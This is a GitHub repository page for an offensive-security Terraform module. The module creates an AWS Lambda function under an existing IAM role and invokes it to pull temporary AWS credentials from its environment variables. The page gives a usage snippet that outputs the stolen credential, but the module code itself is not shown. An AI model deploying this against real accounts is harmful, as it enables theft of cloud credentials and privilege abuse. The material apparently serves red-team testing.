Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Offensive Terraform module which creates Lambda function with existing IAM role. The module invokes it automatically to exfiltrate AWS temporary credential from environment variables and send it back with response.

License

Notifications You must be signed in to change notification settings

offensive-terraform/terraform-aws-lambda-function-credential-exfiltration

Open more actions menu

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

AWS Lambda Function Credential Exfiltration

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates Lambda function with existing IAM role. The module invokes it automatically to exfiltrate AWS temporary credential from environment variables and send it back with response.

Attack Diagram

Usage

module "lambda-function-credential-exfiltration" {
    source  = "offensive-terraform/lambda-function-credential-exfiltration/aws"

    role_arn = "arn:aws:iam::000000000000:role/lambda-role-name"
}

output "lambda_credential" {
  value = module.lambda-function-credential-exfiltration.lambda_credential
}

Author

Module managed by https://github.com/iganbold

About

Offensive Terraform module which creates Lambda function with existing IAM role. The module invokes it automatically to exfiltrate AWS temporary credential from environment variables and send it back with response.

Topics

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

Morty Proxy This is a proxified and sanitized view of the page, visit original site.